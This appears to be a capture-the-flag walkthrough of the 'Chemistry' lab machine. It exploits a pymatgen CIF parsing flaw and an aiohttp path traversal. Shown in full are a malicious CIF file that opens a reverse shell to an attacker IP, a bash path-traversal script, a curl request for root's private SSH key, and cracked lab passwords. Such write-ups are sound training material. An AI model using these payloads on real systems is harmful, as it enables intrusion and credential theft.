Recon

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.9.5
|     Date: Wed, 23 Oct 2024 14:45:45 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 719
|     Vary: Cookie
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Chemistry - Home</title>
|     <link rel="stylesheet" href="/static/styles.css">
|     </head>
|     <body>
|     <div class="container">
|     class="title">Chemistry CIF Analyzer</h1>
|     <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
|     <div class="buttons">
|     <center><a href="/login" class="btn">Login</a>
|     href="/register" class="btn">Register</a></center>
|     </div>
|     </div>
|     </body>
|   RTSPRequest:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

As per usual I start with a nmap scan against the target machine. The machine is exposing only two ports one which being a web server on a non-default port of 5000. The web server also does not want to redirect me to a domain, but for convenience I still a record for chemistry.htb to my /etc/hosts file.

Foothold as app

The website is rather simple and initially only offers me two choices, for logging in or registering an account. I chose the latter option and created my own account on the website.

CVE-2024-23346

After successfully registering an account and logging into the site, I am presented with an upload form for Crystallographic Information Files (CIF). Because I am unfamiliar with this file format I search for more information and possible related exploits. Rather quickly I come across the promising looking CVE-2024-233346 and its Github security advisory, which also includes a proof-of-concept. I switch the PoC command with an actual reverse shell command and save the exploit as a .cif file. As always to catch the incoming reverse shell I stand up a nc listener.

exploit.cif
data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
 
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
 
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.89/9001 0>&1\'");0,0,0'
 
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
 

Shell as rosa

After stabilising my shell with the good old python trick I proceed with taking a closer look at the web application in search of additional credentials. Within the directory of the application I find a SQLite3 database file, which I can read on the target machine itself. The database only contains two tables out of which the user table of great interest to me. This table stores the usernames and MD5 hashed password of the registered user to the application.

app@chemistry:~/instance$ sqlite3 database.db
sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
structure  user
sqlite> select * from user;
select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|j1ndosh|5ee9b51707ef7e7c1ec162a6a333ca4e

I copy the table content over to my machine and clean them up to that I am left with the MD5 hashes. After recovering the plaintext passwords by using hashcat and rockyou.txt I am left with three credentials. To see which one is for a potential user on the machine I take a quick look at /etc/passwd. There I see that rosa is another user on the box as whom I can now SSH into the machine.

rosa:63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
carlos:9ad48828b0955513f7cf0f7f6510c8f8:carlos123
peter:6845c17d298d95aa942127bdad2ceb9b:peterparker
victoriac3601ad2286a4293868ec2a4bc606ba3:victoria123

Shell as root

Some light enumeration reveals an additional listening port on the machine, which is only accessible on localhost.

rosa@chemistry:~$ netstat -tulpen
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      0          38059      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      101        35332      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      0          37967      -
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1001       37580      -
tcp6       0      0 :::22                   :::*                    LISTEN      0          37969      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           101        35331      -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           0          32147      -

To access this port from my attacker machine I use SSH to do some local port forwarding. Resulting in the service from port 8080 being available on my machine on port 9090.

$ ssh -L 9090:127.0.0.1:8080 rosa@chemistry.htb

This port is hosting another web server, that visualises different metric related to earning from advertisements.

To get an idea about the underlying technology stack I look at the at the server response headers. They tell that I am once again dealing with a Python web server and about an additional module aiohttp/3.9.1.

rosa@chemistry:~$ curl -v localhost:8080
*   Trying 127.0.0.1:8080...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8080 (#0)
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Wed, 23 Oct 2024 15:16:53 GMT
< Server: Python/3.9 aiohttp/3.9.1
<
<!DOCTYPE html>
...SNIP...

CVE-2024-23334

Because the website does not function properly I turn to searching for exploits targeting the identified Python module. And find the fitting CVE-2024-23334 alongside a proof-of-concept script. This vulnerability allows me to perform a path traversal, which enables me to perform arbitrary file read as the user running the web application. Taking a look at the running process confirms that the user root is currently executing the Python script for the web server.

#!/bin/bash
 
url="http://localhost:9090"
string="../"
payload="/assets/"
file="etc/passwd" # without the first /
 
for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"
    
    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done

Above you can see the proof-of-concept code, which will find and exploit the path traversal to read the /etc/passwd file. However simply running the original script will result in no vulnerability being found. The script assumes that the static content of the website such as JavaScript can found be under /static/, however this is not the case here. After looking at the network traffic in the web developer console I see that these files are stored under /assets/.

$ ./exploit.sh
[+] Testing with /assets/../etc/passwd
        Status code --> 404
[+] Testing with /assets/../../etc/passwd
        Status code --> 404
[+] Testing with /assets/../../../etc/passwd
        Status code --> 200
root:x:0:0:root:/root:/bin/bash
...

With the confirmation of the vulnerability and the depth of the path of traversal I than switch directly to curl to read the root flag and the private SSH key of the root user. Through which I can now SSH into machine as root.

$ curl --path-as-is "http://localhost:9090/assets/../../../root/.ssh/id_rsa"